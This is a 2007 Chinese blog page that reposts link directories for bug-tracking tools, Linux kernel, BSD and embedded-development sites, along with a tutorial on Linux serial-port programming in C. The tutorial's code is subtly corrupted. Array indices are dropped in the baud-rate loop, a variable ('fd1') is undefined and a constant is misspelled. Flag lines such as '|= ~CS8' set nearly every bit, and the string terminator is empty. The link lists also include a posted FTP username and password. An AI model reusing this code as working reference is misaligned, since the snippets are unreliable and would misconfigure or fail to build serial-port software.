"QA Fortran" http://www.prqa.co.uk

"QStudio Java" http://www.qa-systems.com

Safer C Toolset http://www.oakcomp.co.uk/SoftwareProducts.html

SofAudit http://www.soring.hu/index.html

STATIC http://www.soft.com/Products/index.html

TestBed http://www.easternsystems.com

TestWorks/Advisor http://www.soft.com/Products/index.html

缺陷跟踪工具

1CR http://www.plus-one.com/+1CR_fact_sheet.html

Aardvark http://www.red-gate.com/

AdminiTrack http://www.adminitrack.com

Alcea Fast BugTrack http://www.alceatech.com/

AllChange 2000 http://www.intasoft.co.uk/intasoft/

BugAware http://www.bugaware.com

"Bugbase 2000" http://www.threerock.com

"Bugcentral.com" http://www.bugcentral.com/

BugCollector Pro http://www.nesbitt.com/

Bug/Defect Tracking Expert http://www.bug-defect-tracking-expert.com/

"Buggit" http://www.pb-sys.com/

Buggy http://www.novosys.de/Buggy/Buggy.html

"Bugzero" http://www.websina.com/bugzero/

Bugzilla http://www.mozilla.org/projects/bugzilla/

"Census" http://www.metaquest.com/

"ClearQuest" http://www.rational.com/products/clearquest/

CustomerFirst http://www.custfirst.com/products.html

Debian Bug Tracking System http://www.chiark.greenend.org.uk/~ian/debbugs/

Defect Tracker (New Fire) http://www.newfire.com/

Defect Tracker (Pragmatic) http://www.Pragmaticsw.com/Pragmatic/DefectTrac ker.asp

Defect Tracking System (DTS) http://www.open.com.au/dts/

"defectX" http://www.defectx.com/

DevTrack http://www.techexcel.com/

"d-Tracker" http://www.empirix.com/

elementool http://elementool.com/

"ExtraView" http://www.extraview.com/extraview_home.html

FogBUGZ http://www.fogcreek.com/FogBUGZ/

JitterBug http://samba.anu.edu.au/cgi-bin/jitterbug

Keystone Problem Tracking System http://www.stonekeep.com/

NeumaPT http://www.neuma.com/

SWBTracker http://www.softwarewithbrains.com/swbtrack.htm

"Squish" http://www.squishlist.com

T-Plan Incident Manager http://www.t-plan.co.uk

TeamTrack http://www.teamshare.com

TeamTrack Workgroup http://www.teamshare.com

Team Tracker http://www.hstech.com.au/TeamTracker/

TestTrack http://www.seapine.com

"TrackWeb Defects" http://www.soffront.com/

Trackgear http://www.logigear.com/

TrackRecord http://www.numega.com/devcenter/tr.shtml

"Trackwise" http://www.sparta-systems.com/


posted @ 2007-11-21 20:21 MEYE 阅读(915) | 评论 (0)编辑 收藏

一些非常有用的内核网站!

2.6內核的开发过程:
http://linux.tar.bz/articles/2.6-development_process

kenreltraffic, 有很多内核的资料,以及lkml的digestion
http://www.kerneltraffic.org/kernel-traffic/index.html

lkml的Web主页:
http://lkml.org/


http://www.tuxmagazine.com/

一个Linux Cross-Referrence站点,可以浏览、搜索内核源代码
http://lxr.linux.no/source/


http://vger.kernel.org/majordomo-info.html#subscription

linuxjournal
http://www.linuxjournal.com/

以设备驱动开发为主题的:
http://www.linuxdevices.com/index.html

Linux Weekly News, 精彩技术每周回顾(部分内容不免费):
http://lwn.net/

http://www.linux-mag.com/frontpage/Itemid,1/

Kerneltrap, 有关于Linux和*BSD的内核的新闻, 和对社区黑客的采访。
http://kerneltrap.org/

2.4内核的VM Documentation:
http://www.skynet.ie/~mel/projects/vm/

内核模块的移植:
http://lwn.net/Articles/driver-porting/

内核的官方站点:
http://www.kernel.org/

2.6各个子版API的变化都在这里:
http://lwn.net/Articles/2.6-kernel-api/

http://www.uwsg.indiana.edu/hypermail/linux/kernel/

google的Group页面, 它比lkml本身速度快, 对搜索的支持也好:
http://groups.google.com/group/linux.kernel?hl=zh-CN

关于Linux下的汇编编程:
http://linuxassembly.org/

Device Drivers

http://www.alsa-project.org/

http://lwn.net/Kernel/LDD3/

http://lwn.net/Articles/driver-porting/

Kernel Hackers' HomePages

Andrew Morton的主页:
http://www.zipworld.com.au/~akpm/

Ulrich Drepper的主页:
http://people.redhat.com/drepper/

Robert Love的blog:
http://rlove.org/log/2005011801.html

Greg KH的主页:
http://www.kroah.com/linux/

Ingo Molnar的主页:
http://people.redhat.com/mingo/

David Miller的主页:
http://vger.kernel.org/~davem/


下面這個最全, 它收錄了大部分內核黑客的個人主頁地址。
ftp://ftp.nl.kernel.org/pub/linux/kernel/people/




linux常用网站详单(转)

LINUX资源网
http://www.fanqiang.com  在这里可以学到很多哟!
http://www.Linuxhq.com/,Linux总部,主要负责核心的开发工作。  
http://freesoft.cei.gov.cn/,中国Linux的资源宝藏  
http://xchina.cLinux.org/,包括Linux程序下载,窍门,技术资料,内容丰富。  
http://www.Linuxaid.com.cn/,提供技术支持服务,也有很多面向初学者的资料  
http://www.Linux.org.cn/  
http://www.cLinux.org/,收集了各类Linux中文资料  
http://lark.ihep.ac.cn/,内容包罗万象,有中文软件,软件仓库等。  
http://Linux.joyo.com:3000/,有很多内容,还可以打包下载Linux公报。  
http://home.jjinfo.com/personal/Linuxboy/,Linux发展介绍及资源荟萃。  
http://www.xteamLinux.com.cn/  
http://www.turboLinux.com.cn/  
http://www.hklug.org/,了解香港Linux的好网站  
http://chinese.Linux.org.tw/,为台湾中文化Linux计划(Chinese  Linux Project)正式网站。
http://cle.Linux.org.tw/CLE/,中文Linux扩展(CLE),基于Red  Hat和KDE的中文解决
http://ccss.cc.nccu.edu.tw/  
http://www.Linuxers.com.tw/,一本不错的Linux网络杂志。  
http://www.redhat.com/,是搜索Linux各类资源的上好网站。  
http://www.debian.org/,Debian  Linux 的官方网站
http://www.suse.com/,S.U.S.E.  Linux 的官方网站
http://www.pht.com/,Turbo  Linux 国外的官方网站
http://li.org/,有大量的Linux资源列表。  
http://www.Linuxresources.com/,Linux网站,软件,文档,支持等等,内容应有尽有。  
http://sunsite.unc.edu/Linux-source/,包含了几乎所有Linux分类的源代码。  
http://Linux.box.ck/,资源全面的Linux宝箱。  
http://www.Linuxsupportline.com/,Linux网上技术支持的网站。  
http://lsd.Linux.cz/,Linux驱动程序的源代码  
http://www.kde.org/,KDE的大本营。  
http://www.kernel.org,齐全的Linux的核心的各种版本。  
http://www.sendmail.org,Linux世界下最广泛使用的软件之一,这里就是它的老家。  
ftp://sunsite.unc.edu/pub/Linux/,有着极丰富的软件资源  
http://www.slackware.com/,Slackware  Linux的网站,
LINUX学习网(从初学到高级)
http://www.fanqiang.com  老大的站点强烈推荐
http://Linux.ccpi.gov.cn/Linux/,有很多Linux安装、管理、释疑和指南类文章。  
http://www.Linuxforum.net/,国内Linux爱好者的一个相互学习和交流的场所。  
http://www.Linux.org.tw/,台湾的Linux爱好者组织,列有翻译的Linux  HOWTO 中文版。
http://evon.el.cycu.edu.tw/,列有Linux简介及操作说明。  
http://www.tvds.com.tw/Linux/,定期推出  Linux 应用的相关文章同时有线上讨论区。
http://www.Linux.com/,学习Linux的最好网站,也是Linux使用经验  
http://www.caldera.com/,Caldera  的官方网站
http://www.Linux-howto.com/,查找Linux-Howto的最佳网站,包括了最  
新最全的Linux-Howto的各种版本。
http://www.Linuxhelp.org/,最大最全的Linux在线帮助网站  
http://www.Linuxgazette.com/,著名的免费在线杂志技巧,是Linux用户交流中心之一  
http://www.Linuxfocus.org/,免费电子杂志《Linux  focus》
,特色是每期集中讨论一个话题。
http://www.Linuxjournal.com/,很棒的Linux专业杂志  
LINUX论坛
http://bbs.linuxmine.com liinux宝库论坛
http://www.chinaunix.net  老大的强劲论坛
http://Linux.inhk.net/,包含新闻、初学入门、技巧、资源和讨论等。  
http://www.cLinuxworld.com/,中文门户网站,设有论坛、新闻栏目,还提供主页空间。  
http://Linux.arecool.net/  ,有很丰富的中文分类文档。还有论坛,编程等。
http://www.Linux.org/,最权威的Linux网站,  文章讨论无所不包,软件硬件应有尽有。
http://bbs.tsinghua.edu.cn  水木清华BBS
http://bbs.ustc.edu.cn  上海交大BBS
http://bbs.sjtu.edu.cn  中国科技大学BBS
http://www.sina.com.cn  新浪网BBS
http://bbs.nease.net  广州网易BBS站
http://news.freesoft.cei.gov.cn,由宫敏博士主持,人气很旺,Linux爱好者的交流好场所。  
http://news.cLinux.ml.org,是国内规模较大的新闻服务器,  
http://cn.bbs.comp.Linux是各大学BBS站Linux版与News的连接。  
http://202.38.64.2,国内最大的Linuxv新闻组之一  
http://www.gb2312.com  ,下载密码是 www.gb2312
著名的FTP网站:
ftp://ftp.cdrom.com    
ftp://ftp.pku.edu.cn/pub/slackware  
ftp://ftp.ihep.ac.cn/pub/Linux  
ftp://ftp.synet.edu.cn/pub/Linux  
ftp://ftp.sepc.ac.cn/pub/Linux  
ftp://ftp.buptnet.edu.cn/pub/slackware   
ftp://net.tamu.edu/pub/Linux  
ftp://freesoft.cei.gov.cn/pub/Linux,国内最大的Linux  FTP站。
(下载大全)
BSD学习网
http://fbsd.8800.org/freebsd.lab.mlc.edu.tw/default.htm  
http://fbsd.8800.org/freebsd.lab.mlc.edu.tw/index.html  
http://freebsd.sinica.edu.tw  
http://ns1.study-area.org/phpBB/  
http://ohaha.ks.edu.tw/  
http://www.gocar.idv.tw/  
http://w3.fjy.idv.tw/index.htm  
http://freebsd.csie.nctu.edu.tw/  
http://person.zj.cninfo.net/~syx/index.html  
http://redhat.ecenter.idv.tw/bbs ... e757&forumid=65  
http://www.freebsd.org.hk/modules/news/  
http://freebsd.ntu.edu.tw/  
http://www.freebsd.org.hk/modules/news/  
鼻祖网:
http://www.freebsd.org  
http://www.netbsd.org  
http://www.openbsd.org  
BSD资源网
ftp://ftp2.freebsd.org/  
ftp://freebsd.nctu.edu.tw/  
http://www.yesnew.com/~yangyi/chandbook.zip  
http://www.freebsd.org /doc/en_US.ISO8859-1/books/handbook/index.html
http://www.yesnew.com/~yangyi/The_Complete_FreeBSD.zip  
http://www.yesnew.com/~yangyi/TCP-IP1.zip  
http://www.freebsdchina.org  
SOLARIS(X86、SPARC)
http://202.108.44.140  
ftp://202.108.44.140  user:unix2002 pass:unix2002
OTHERS:
http://linux.softhouse.com.cn  软件屋-Linux之家http://www.bluepoint.com.cn  蓝点Linux
http://cnheasa.org/linux  Linux 中文资料
http://linux.ccpi.gov.cn/linux  Linux操作指南 http://www.linuxzyd.com  Linux专营
http://www.turbolinux.com.cn  Turbo
http://www.linuxaid.com.cn  Linux技术支持网站http://member.netease.com/~yzp  Linux工作室http://www.linuxforum.net/  中国Linux论坛
http://www.redflag-linux.com  红旗Linux
http://www.pocketix.com  嵌入式Linux
http://www.xteamlinux.com.cn  XteamLinux
http://timzen.go.163.com  Linux菜鸟入门
http://linux.tcpip.com.cn  Linux非常新闻
http://zlinux.spedia.net  JJ的Linux世界
http://lslnet.com/linux  自由软件Linux
http://member.netease.com/~yzp  Linux工作室
http://giny.4y.com.cn/  自由的精灵
http://linuxcity.com.cn/linuxstore  Linux 精品店
http://www.linux21cn.com/  21世纪linux
http://www.asplinux.com.cn  asplinux中国网站
http://www.ibm.com/developerworks/cn/linux/  IBM--linux专区
http://www.medboo.com/~jj  jj的linux世界
http://linux21cn.com  21世纪linux
http://www.linuxnow.com  linux now
http://www.linux.org  linux www
http://www.linuxgazette.com  linux gazette
http://www.linux.org .cn linux 中国用户协会
http://www.linuxbyte.net/softwared.php  LinuxByte 软件中心
http://linuxcity.com.cn/linuxstore /cd/cd.asp linuxcd精品光盘店
http://www.linuxhq.com  Linux HeadQuarters
http://www.linuxmall.com  LinuxMall.com
http://linux.ccpi.gov.cn  linux操作指南
http://www.linuxdby.com/  linux大本营站
http://www.cstc.org.cn/anounce/linux/index.asp  linux开放实验室 http://www.linuxcd.com.cn  linux刻录网
http://free.prohosting.com/~lslnet  linux蓝色小组
http://netsword.net/linux  linux学习
http://www.linuxeden.com  linux伊甸园
http://www.nodevice.com  linux园地
http://linuxhome.my163.com  linux之家(my163.com
http://members.tripod.com/~clinux  linux中文手册
http://www.linuxzy.com  linux专营
http://www.linuxwatch.org  Linuxwatch
http://www.penguin64.com.cn/  penguin64中文网
http://www.redhat.com  Red Hat
http://www.suse.com  SuSE LINUX
http://www.unixaid.net  unix中文社区
http://www.263bbs.net/  博识网
http://www.westdata.net/linux/  大漠驼铃--中文Linux学习
http://www.rce.com.cn/  红旗linux培训与考试中心
http://www.hhcn.org  华恒嵌入式Linux技术资料网站
http://www.lslnet.com/linux  蓝森林
http://www.mamiyami.com  麻米亚资讯站
http://www.freelamp.com  FreeLAMP.com
http://www.sinolinux.com  思凌网
http://linux.online.tj.cn  Linux中心
http://badfish.3322.net  Badfish's Linux
http://www.wanhenet.com  嵌入式Linux开发网
http://www.linuxbyte.net  LinuxByte
http://www.cmpp.net  中国linux论坛
http://www.yaboy.org  yaboy.org
http://www.iwork.f2s.com  linux computing
http://www.linuxfocus.org  linux focus
http://www.linuxjournal.com  linux journal
http://www.yesky.com/72350081310785536/index.shtml  天极网--Linux园地
http://linux.ccidnet.com  赛迪网--Linux

posted @ 2007-10-20 18:19 MEYE 阅读(716) | 评论 (0)编辑 收藏
Linux下的串口编程(ZT)

Linux下的串口编程(ZT)

Linux 操作系统从一开始就对串行口提供了很好的支持,本文就 Linux 下的串行口通讯编程进行简单的介绍。
串口简介
串行口是计算机一种常用的接口,具有连接线少,通讯简单,得到广泛的使用。常用的串口是 RS-232-C 接口(又称 EIA RS-232-C)它是在 1970 年由美国电子工业协会(EIA)联合贝尔系统、 调制解调器厂家及计算机终端生产厂家共同制定的用于串行通讯的标准。它的全名是"数据终端设备(DTE)和数据通讯设备(DCE)之间串行二进制数据交换 接口技术标准"该标准规定采用一个 25 个脚的 DB25 连接器,对连接器的每个引脚的信号内容加以规定,还对各种信号的电平加以规定。传输距离在码元畸变小于 4% 的情况下,传输电缆长度应为 50 英尺。
Linux 操作系统从一开始就对串行口提供了很好的支持,本文就 Linux 下的串行口通讯编程进行简单的介绍,如果要非常深入了解,建议看看本文所参考的《Serial Programming Guide for POSIX Operating Systems》

计算机串口的引脚说明

序号 信号名称 符号 流向 功能
2 发送数据 TXD DTE→DCE DTE发送串行数据
3 接收数据 RXD DTE←DCE DTE 接收串行数据
4 请求发送 RTS DTE→DCE DTE 请求 DCE 将线路切换到发送方式
5 允许发送 CTS DTE←DCE DCE 告诉 DTE 线路已接通可以发送数据
6 数据设备准备好 DSR DTE←DCE DCE 准备好
7 信号地

    信号公共地
8 载波检测 DCD DTE←DCE 表示 DCE 接收到远程载波
20 数据终端准备好 DTR DTE→DCE DTE 准备好
22 振铃指示 RI DTE←DCE 表示 DCE 与线路接通,出现振铃
串口操作

串口操作需要的头文件

#i nclude     <stdio.h>      /*标准输入输出定义*/
#i nclude     <stdlib.h>     /*标准函数库定义*/
#i nclude     <unistd.h>     /*Unix 标准函数定义*/
#i nclude     <sys/types.h>  
#i nclude     <sys/stat.h>   
#i nclude     <fcntl.h>      /*文件控制定义*/
#i nclude     <termios.h>    /*PPSIX 终端控制定义*/
#i nclude     <errno.h>      /*错误号定义*/
打开串口
在 Linux 下串口文件是位于 /dev 下的
串口一 为 /dev/ttyS0
串口二 为 /dev/ttyS1
打开串口是通过使用标准的文件打开函数操作:

int fd;
/*以读写方式打开串口*/
fd = open( "/dev/ttyS0", O_RDWR);
if (-1 == fd){
/* 不能打开串口一*/
perror(" 提示错误!");
}
设置串口
最基本的设置串口包括波特率设置,效验位和停止位设置。
串口的设置主要是设置 struct termios 结构体的各成员值。

struct termio
{        unsigned short  c_iflag;        /* 输入模式标志 */       
        unsigned short  c_oflag;                /* 输出模式标志 */       
        unsigned short  c_cflag;                /* 控制模式标志*/       
        unsigned short  c_lflag;                /* local mode flags */       
        unsigned char  c_line;                    /* line discipline */       
        unsigned char  c_cc[NCC];    /* control characters */
};
设置这个结构体很复杂,我这里就只说说常见的一些设置:
波特率设置
下面是修改波特率的代码:

struct  termios Opt;
tcgetattr(fd, &Opt);
cfsetispeed(&Opt,B19200);     /*设置为19200Bps*/
cfsetospeed(&Opt,B19200);
tcsetattr(fd,TCANOW,&Opt);
  设置波特率的例子函数:

/**
*@brief  设置串口通信速率
*@param  fd     类型 int  打开串口的文件句柄
*@param  speed  类型 int  串口速度
*@return  void
*/
int speed_arr[] = { B38400, B19200, B9600, B4800, B2400, B1200, B300,
                                        B38400, B19200, B9600, B4800, B2400, B1200, B300, };
int name_arr[] = {38400,  19200,  9600,  4800,  2400,  1200,  300, 38400,  
                                        19200,  9600, 4800, 2400, 1200,  300, };
void set_speed(int fd, int speed){
        int   i;
        int   status;
        struct termios   Opt;
        tcgetattr(fd, &Opt);
        for ( i= 0;  i < sizeof(speed_arr) / sizeof(int);  i++) {
                if  (speed == name_arr) {     
                        tcflush(fd, TCIOFLUSH);     
                        cfsetispeed(&Opt, speed_arr);  
                        cfsetospeed(&Opt, speed_arr);   
                        status = tcsetattr(fd1, TCSANOW, &Opt);  
                        if  (status != 0) {        
                                perror("tcsetattr fd1");  
                                return;     
                        }   
                        tcflush(fd,TCIOFLUSH);   
                }  
        }
}
效验位和停止位的设置:
无效验 8位 Option.c_cflag &= ~PARENB;
Option.c_cflag &= ~CSTOPB;
Option.c_cflag &= ~CSIZE;
Option.c_cflag |= ~CS8;
奇效验(Odd) 7位 Option.c_cflag |= ~PARENB;
Option.c_cflag &= ~PARODD;
Option.c_cflag &= ~CSTOPB;
Option.c_cflag &= ~CSIZE;
Option.c_cflag |= ~CS7;
偶效验(Even) 7位 Option.c_cflag &= ~PARENB;
Option.c_cflag |= ~PARODD;
Option.c_cflag &= ~CSTOPB;
Option.c_cflag &= ~CSIZE;
Option.c_cflag |= ~CS7;
Space效验 7位 Option.c_cflag &= ~PARENB;
Option.c_cflag &= ~CSTOPB;
Option.c_cflag &= &~CSIZE;
Option.c_cflag |= CS8;
设置效验的函数:

/**
*@brief   设置串口数据位,停止位和效验位
*@param  fd     类型  int  打开的串口文件句柄
*@param  databits 类型  int 数据位   取值 为 7 或者8
*@param  stopbits 类型  int 停止位   取值为 1 或者2
*@param  parity  类型  int  效验类型 取值为N,E,O,,S
*/
int set_Parity(int fd,int databits,int stopbits,int parity)
{
        struct termios options;
        if  ( tcgetattr( fd,&options)  !=  0) {
                perror("SetupSerial 1");     
                return(FALSE);  
        }
        options.c_cflag &= ~CSIZE;
        switch (databits) /*设置数据位数*/
        {   
        case 7:               
                options.c_cflag |= CS7;
                break;
        case 8:     
                options.c_cflag |= CS8;
                break;   
        default:   
                fprintf(stderr,"Unsupported data sizen"); return (FALSE);  
        }
switch (parity)
{   
        case 'n':
        case 'N':   
                options.c_cflag &= ~PARENB;   /* Clear parity enable */
                options.c_iflag &= ~INPCK;     /* Enable parity checking */
                break;  
        case 'o':   
        case 'O':     
                options.c_cflag |= (PARODD | PARENB); /* 设置为奇效验*/  
                options.c_iflag |= INPCK;             /* Disnable parity checking */
                break;  
        case 'e':  
        case 'E':   
                options.c_cflag |= PARENB;     /* Enable parity */   
                options.c_cflag &= ~PARODD;   /* 转换为偶效验*/     
                options.c_iflag |= INPCK;       /* Disnable parity checking */
                break;
        case 'S':
        case 's':  /*as no parity*/   
            options.c_cflag &= ~PARENB;
                options.c_cflag &= ~CSTOPB;break;  
        default:   
                fprintf(stderr,"Unsupported parityn");   
                return (FALSE);  
        }  
/* 设置停止位*/  
switch (stopbits)
{   
        case 1:   
                options.c_cflag &= ~CSTOPB;  
                break;  
        case 2:   
                options.c_cflag |= CSTOPB;  
           break;
        default:   
                 fprintf(stderr,"Unsupported stop bitsn");  
                 return (FALSE);
}
/* Set input parity option */
if (parity != 'n')   
        options.c_iflag |= INPCK;
tcflush(fd,TCIFLUSH);
options.c_cc[VTIME] = 150; /* 设置超时15 seconds*/   
options.c_cc[VMIN] = 0; /* Update the options and do it NOW */
if (tcsetattr(fd,TCSANOW,&options) != 0)   
{
        perror("SetupSerial 3");   
        return (FALSE);  
}
return (TRUE);  
}
需要注意的是:
如果不是开发终端之类的,只是串口传输数据,而不需要串口来处理,那么使用原始模式(Raw Mode)方式来通讯,设置方式如下:

options.c_lflag  &= ~(ICANON | ECHO | ECHOE | ISIG);  /*Input*/
options.c_oflag  &= ~OPOST;   /*Output*/
读写串口
设置好串口之后,读写串口就很容易了,把串口当作文件读写就是。
  • 发送数据

    char  buffer[1024];int    Length;int    nByte;nByte = write(fd, buffer ,Length)
  • 读取串口数据 使用文件操作read函数读取,如果设置为原始模式(Raw Mode)传输数据,那么read函数返回的字符数是实际串口收到的字符数。
    可以使用操作文件的函数来实现异步读取,如fcntl,或者select等来操作。

    char  buff[1024];int    Len;int  readByte = read(fd,buff,Len);
关闭串口
关闭串口就是关闭文件。

close(fd);
例子
下面是一个简单的读取串口数据的例子,使用了上面定义的一些函数和头文件

/**********************************************************************代码说明:使用串口二测试的,发送的数据是字符,
但是没有发送字符串结束符号,所以接收到后,后面加上了结束符号。我测试使用的是单片机发送数据到第二个串口,测试通过。
**********************************************************************/
#define FALSE  -1
#define TRUE   0
/*********************************************************************/
int OpenDev(char *Dev)
{
        int        fd = open( Dev, O_RDWR );         //| O_NOCTTY | O_NDELAY       
        if (-1 == fd)       
        {                        
                perror("Can't Open Serial Port");
                return -1;               
        }       
        else       
                return fd;
}
int main(int argc, char **argv){
        int fd;
        int nread;
        char buff[512];
        char *dev  = "/dev/ttyS1"; //串口二
        fd = OpenDev(dev);
        set_speed(fd,19200);
        if (set_Parity(fd,8,1,'N') == FALSE)  {
                printf("Set Parity Errorn");
                exit (0);
        }
while (1) //循环读取数据
{   
        while((nread = read(fd, buff, 512))>0)
        {
                printf("nLen %dn",nread);
                buff[nread+1] = '';   
                printf( "n%s", buff);   
        }
}
        //close(fd);  
        // exit (0);
}
参考资料


posted @ 2007-10-20 18:14 MEYE 阅读(518) | 评论 (0)编辑 收藏
嵌入式开发网站集锦!

国内站点:

电子设计信息网,尽管是个业界新秀,但潜力无量!这里能带给你无限精彩和希望!
http://www.edires.net/
华恒公司的主页,里面有很多的相关资料,有待大家去发现
http://www.hhcn.com/chinese/embedlinux-res.html
SkyEye嵌入式硬件仿真项目
www.skyeye.org
http://gro.clinux.org/projects/skyeye/
公社的SkyEye项目专栏
http://www.linuxfans.org/nuke/modul...=viewforum&f=58
Pday水清木华,一个国内看嵌入式新闻的好地方!
http://www.pday.com.cn/
中国单片机公共实验室
http://www.bol-system.com/
中国Linux论坛的嵌入式版,有很多开发板原理图的资料
http://openarm.linuxforum.net/
嵌入开发网
http://www.embed.com.cn/
微芯力科技
http://www.winsilicon.com
驱动开发网之嵌入式版块,挺综合的一个网站
http://www.driverdevelop.com/index.php

国外站点

Linux设备网站,由Rick Lehrbaum创建和维护,是一个嵌入式Linux入门网站,其中包含嵌入式Linux行业的每日新闻、完整系列的快速参考指南、由重要开发者撰写的大量文章,还包括一个交互论坛。
http://www.linuxdevices.com/
下载嵌入式Linux交叉编译工具链的好地方——SnapGear Embedded Linux Distribution Home Page
http://www.snapgear.org/snapgear/index.html
http://www.uclinux.org/pub/uClinux/...lf-tools/gcc-3/
嵌入式Linux联盟(ELC),一个非盈利性的厂商中立的同业工会,其目标是在整个嵌入式、应用和设备市场中发展和推广Linux。
www.embedded-linux.org
Beyond Logic公司主页,提供了许多嵌入式Linux系统开发的资料。
http://www.beyondlogic.org
嵌入式Linux期刊(ELJ,Embedded Linux Journal),主要关注Linux和其他开源软件在嵌入式系统中的应用。 其中有很多业界领导者为ELJ撰写文章。
embedded.linuxjournal.com
有几本写嵌入式Linux系统的书
http://www.embeddedlogic.com/ELSweb/booklinks.html
有关PowerPC体系的嵌入式
www.mvista.com
www.denx.de/e/index1.php
IXP4XX Open Source Developers Guide
http://ixp4xx-osdg.sourceforge.net/
uClinux/ARM项目
http://adam.kaist.ac.kr/~hschoe/notice.html
个人主页

一个业余爱好者代礼周的个人主页,都是实践出来的
http://www.lomx.net/index.htm
D_J嵌入式个人主页,有很多资料!
http://staff.ustc.edu.cn/~wangzhuo/index.html
renbagshoes的个人主页,有些资料可能你会用的到!
http://timity.nease.net

嵌入式Linux操作系统
小型化的嵌入式Linux版本
uClinux —— 在没有 MMU 的系统上运行的 Linux。目前支持 Motorola 68K、MCF5206 和MCF5207 ColdFire 微处理器。
http://www.uclinux.org/index.html
Etlinux —— 设计用于在小型工业计算机,尤其是 PC/104 模块上运行的 Linux 的完全分发版
http://www.prosa.it/etlinux/index.html
Tiny Linux ── 可以运行在 386 上的 Linux 分发版。
http://tiny.seul.org/en/
ThinLinux ── 面向专用的照相机服务器、X-10 控制器、MP3 播放器和其它类似的嵌入式应用的最小化的 Linux 分发版。
www.thinlinux.org
LRP(Linux Route Project)
http://www.linuxrouter.org
Peeweelinux一个小的嵌入式Linux发行版
http://freshmeat.net/projects/peeweelinux
具有实时扩展功能的嵌入式Linux版本
RT-Linux主页
http://www.fsmlabs.com
http://www.rtlinux.com
RTAI
http://www.rtai.org

嵌入式GUI

Microwindows 由Century Software的CEO Greg Haerr主持开发的一个公开源码(LGPL)的项目。Microwindows致力于为一些小型设备和平台提供现代图形窗口环境。 Microwindows支持许多硬件平台,移植性很强。Microwindows的主要目的之一便是运行在嵌入式Linux上,并且提供了基于 Win32/X的两套API接口。
http://www.microwindows.org
http://microwindows.org
MiniGUI 由原清华大学教师魏永明先生开发,是中国人做的得较好的自由软件之一。MiniGUI 是一种面向嵌入式系统或者实时系统的公开源码(LGPL)的图形用户界面支持系统。它主要运行于Linux控制台,实际可以运行在任何一种具有POSIX 线程支持的POSIX兼容系统上。
http://www.minigui.org
飞漫软件的MiniGUI项目
http://www.minigui.com/company/cindex.shtml
Qt/Embedded 是著名的QT库开发商Trolltech正在进行的面向嵌入式系统的QT版本。Qt/Embedded对于各种硬件接口到 GUI工具包提供了完整的图形栈。Qt/Embedded的API同Qt/X11和Qt/Windows的相同,但它并不是基于X11库的。 Qt/Embedded是公开源码(LGPL)项目。
http://www.trolltech.com
OpenGUI基于一个用汇编实现的x86图形内核,提供了一个快速的、32位的、高层的C/C++图形接口。OpenGUI也是一个公开源码(LGPL)项目。OpenGUI提供了二维绘图原语,消息驱动的API和BMP文件格式支持。
http://www.tutok.sk/fastgl
PicoGUI 是一个可以工作在包括手持式设备等各种硬件上的小型的、可移植的、基于客户/服务器结构的GUI。同X Window系统一样,它具有客户—服务器结构的灵活性,但又不同于X Window系统,它将字体、BMP文件、控件以及一些应用程序所需要的其它的一些资源直接集成在服务器。虽然减少了系统的灵活性,但在速度上有了很大的 提高,并且减小了程序大小。
http://picogui.org
Tiny-X是一个为嵌入式系统而开发的紧缩型的X Window服务器。它由SuSE赞助,由XFree86的核心成员Keith Packard开发。Tiny-X的目标是可以在小内存或几乎无内存的情况下良好运行。
http://www.pps.jussieu.fr/~jch/software/kdrive.html
PIXIL提供嵌入式在高级因特网中应用程序的应用。它虽然是为商业化准备的,但它提供GPL协议下的版本,区别是没有技术支持。
http://www.pixil.org
NxZilla - Mozilla on NanoX
http://nxzilla.sourceforge.net
Simple DirectMedia Layer is a cross-platform multimedia library designed to provide low level access to audio, keyboard, mouse, joystick, 3D hardware via OpenGL, and 2D video framebuffer. It is used by MPEG playback software, emulators, and many popular games, including the award winning Linux port of "Civilization: Call To Power."
http://www.libsdl.org/index.php
GtkFB: GTK+ for the Linux Framebuffer
http://www.linuxdevices.com/articles/AT9024868021.html

嵌入式Linux与Java

Java 2 Micro Edition(J2ME官方站点)
http://www.javasoft.com/j2me/
waba为小设备提供一个编程平台。它被定义为一种语言,一个虚拟机,一个类文件格式以及功能类的设置。
http://wabasoft.com/products.shtml
Kaffe is a clean room implementation of the Java virtual machine, plus the associated class libraries needed to provide a Java runtime environment. The Kaffe virtual machine is free software, licensed under the terms of the GNU General Public License.Kaffe is a great choice as a base for virtual machine education and/or research, or if you need a virtual machine as an integral component of an open source or free software Java distribution.
http://www.kaffe.org
Wonka(一个java虚拟机,超小)
http://www.acunia.com/wonka


嵌入式综合性网站 http://www.eg3.com (英文)
丰富的产品介绍、丰富的链接(嵌入式领域)。
http://altair.ihep.su/~kulemzin/index.html (英文)
为嵌入式开发人员提供大量的信息资源。
http://www.embedded-directory.com (英文)
嵌入式产品、工具介绍,包括硬件、软件、开发工具、开发服务商、测试设备、单板、处理器、信号处理器、分析仪等。
http://www.siliconpenguin.com (英文)
嵌入式Linux资源网站
http://cs-www.bu.edu/pub/ieee-rts/Home.html (英文)
IEEE计算机协会实时系统技术分会主页,提供该组织研究文档、实时系统研究组织名录以及书刊、杂志、产品的链接。
http://www.es-mag.com (英文)
欧洲关于嵌入式设计的杂志《EmbeddedSystems》网站
http://www.esofta.com (英文)
按处理器提供嵌入式产品、工具索引介绍。
奔微实时操作系统--KarlOS微内核
KarlOS 是一种小型且可靠的实时内核,特别是针对嵌入式系统而设计。内核自身能被非常灵活地修改到任一平台,因为它用于硬件抽象层(HAL)来隐藏任一硬件的特定功能,以至于可以协调内核的功能。同时KarlOS象一些传统的内核,用于平台抽象层(PAL)技术。
http://www.embeddedtechnology.com (英文)
包含大量的嵌入式产品、开发工具、产品提供商介绍。
http://www.realtime-info.com (英文)
实时系统综合性信息网站,《Real-Time Magazine》杂志主办者。提供实时操作系统及其它相关产品购买指导,实时技术研究组织机构介绍,业界新闻和重要活动消息发布,《Real-Time Magazine》杂志网上介绍。
http://www.electronic-forecast.com (英文)
提供嵌入式工业市场、产品研究信息,向用户提供产品购买指导。
http://www.primenet.com/~magpub/ (英文)
实时系统杂志网站,内容广泛。
http://www.ifi.unizh.ch/groups/ailab/links/embedded.html (英文)
提供大量的嵌入和实时系统链接资源。
http://www.forthinc.demon.co.uk/info/links/index.htm (英文)
提供丰富的嵌入式开发链接。
http://www.embedded-systems-messe.de (英文)
嵌入式产品展览会Internet发布网站。
http://www.embeddedinternet.com (英文)
嵌入式产品展览Internet发布。
Windows CE下载区
微软最新Windows CE.Net 4.1下载试用。
http://www.embedded.com (英文)
